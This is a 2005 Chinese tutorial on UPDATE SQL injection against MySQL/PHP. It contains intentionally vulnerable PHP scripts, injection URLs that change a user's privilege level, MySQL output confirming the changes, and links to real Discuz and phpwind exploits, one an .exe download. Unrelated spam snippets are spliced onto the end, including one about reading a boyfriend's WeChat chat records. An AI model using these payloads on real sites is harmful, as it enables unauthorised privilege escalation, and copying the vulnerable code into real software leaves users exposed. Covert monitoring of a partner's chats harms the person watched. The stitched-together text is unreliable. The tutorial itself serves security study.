UPDATE注射(mysql+php)的两个模式 文/安全天使·SuperHei2005.8.11 一.测试环境: OS:Windowsxpsp2 php:php4.3.10( mysql4.1.9 apache1.3.33 二.测试数据库结构: -----start--- --数据库:`test` -- ---------------------------------------------------------- -- --表的结构`userinfo` -- CREATETABLE`userinfo`( `groudid`varchar(12)NOTNULLdefault’1’, `user`varchar(12)NOTNULLdefault’heige’, `pass`varchar(122)NOTNULLdefault’123456’ )ENGINE=MyISAMDEFAULTCHARSET=latin1; -- --导出表中的数据`userinfo` -- INSERTINTO`userinfo`VALUES(’2’,’heige’,’123456’); ------end------- 三.测试模式: 1,变量没有带’’或""[MOD1] <?php //test1.phpMod1 $servername="localhost"; $dbusername="root"; $dbpassword=""; $dbname="test"; mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败"); $sql="updateuserinfosetpass=$pwhereuser=’heige’";//<--$P没有使用单引号 $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo"
SQLQuery:$sql
"; ?> 脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p来达 到修改groupid的目的: 那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1 在mysql里查询: mysql>select*fromuserinfo; +---------+-------+--------+ |groudid|user|pass| +---------+-------+--------+ |1|heige|123456| +---------+-------+--------+ 1rowinset(0.01sec) 用户heige的groudid又2改为1了:) 所以我们可以得到没有’’或""update的注射是可以成功的,这个就是我们的模式1。 2,变量带’’或""[MOD2] <?php //test2.php $servername="localhost"; $dbusername="root"; $dbpassword=""; $dbname="test"; mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败"); $sql="updateuserinfosetpass=’$p’whereuser=’heige’";//<--$P使用单引号 $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo"
SQLQuery:$sql
"; ?> 为了关闭’我们构造$p应该为123456’,groudid=’2提交: http://127.0.0.1/test2.php?p=123456’,groudid=’1在gpc=on的情况下’变成了\’ 提交的语句变成:SQLQuery:updateuserinfosetpass=’123456\’,groudid=\’1’whereuser=’heige’ mysql查询: mysql>select*fromuserinfo; +---------+-------+--------------------+ |groudid|user|pass| +---------+-------+--------------------+ |2|heige|123456’,groudid=’1| +---------+-------+--------------------+ 1rowinset(0.00sec) groudid并没有被修改。那么在变量被’’或""时就完全没有被注射呢?不是下面我们看模式2: <?php //test3.phpMod2 $servername="localhost"; $dbusername="root"; $dbpassword=""; $dbname="test"; mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败"); $sql="updateuserinfosetpass=’$p’whereuser=’heige’";//<--$P使用单引号 $result=mysql_db_query($dbname,$sql); mysql_fetch_array($result);//$p的数据写入数据库 $sql="selectpassfromuserinfowhereuser=’heige’"; $result=mysql_db_query($dbname,$sql); $userinfo=mysql_fetch_array($result); echo$userinfo[0];//把pass查询输出给$userinfo[0] $sql="updateuserinfosetpass=’$userinfo[0]’whereuser=’heige’"; $result=mysql_db_query($dbname,$sql); mysql_fetch_array($result);//把$userinfo[0]再次update ?> 我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1 回mysql查询下: mysql>select*fromuserinfo; +---------+-------+--------+ |groudid|user|pass| +---------+-------+--------+ |1|heige|123456| +---------+-------+--------+ 1rowinset(0.00sec) HaHa~~成功注射修改groudid为1。这个就是我们的模式2了,简单的描叙如下: update-->select-->update 四.实际模式 模式1:Discuz2.0/2.2register.php注射 漏洞分析:http://4ngel.net/article/41.htm Discuz2.0/2.2register.phpRemoteExploit:http://4ngel.net/project/discuz_reg.htm 模式2:phpwind2.0.2和3.31e权限提升漏洞 漏洞分析: update(profile.php注射变量为$proiconupdate语句里为,icon=’$userdb[icon]’) | v select(jop.php) | v updtate(jop.php) Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe 五.鸣谢 特别感谢saiy等朋友的讨论和帮助。Thanks!!!
外地查男友微信聊天纪录(如何查微信聊天頻率最高者) 大家都了解,大家都了解,每一个人都担心情丝折磨自己,但这些情丝的情感早就沉积在大家的内心,摧残着大家。我协助大家解决这类情丝,只需心存一点低沉,平...
觊觎怎么读?觊觎是什么意思?很多人在生活、学习中遇到“觊觎”这个词,大家都不知道怎么读这两个生僻字。你想知道这些有趣的生僻字怎么读吗?豪友网专门精心整理了生僻字怎么读相关的内容,为你释疑解惑! ...
对于有的家长来说孩子出现一些发烧的问题的时候并且身上发疹子起红点很多的家长都不知道如何判断孩子的症状,毕竟很多的状况都很像,尤其是孩子发烧以后发疹的症状。下面友谊长存的小编为大家分享伴随着发烧的发疹疾...
圣诞节老人的由来(圣诞节老人的由来是什么?) 今天是圣诞节,这是西方最重要的传统节日,相当于中国的春节。 圣诞节其实就是西方纪念耶稣的诞生日子,人们感激上帝让他的儿子耶稣到人间来拯救人类。...
做为一款破十亿的首场APP,可以说手机微信真的是做的十分牛,许多 客户是根据QQ来申请注册的,有的则是根据电子邮箱或是手机号码来进行登陆。可是无论你是如何登陆的,它都必须提示你关联自身的手机号,而...
按照第一页的排名,搜索引擎优化人员天天在相关研究上耗费大量的时间和精神。然而,有些计策往往急于取得功效,这往往会导致相反的结果。 谚语:欲速则不达,搜索引擎优化是一项“迟钝的事情”,它要求我们不要试图...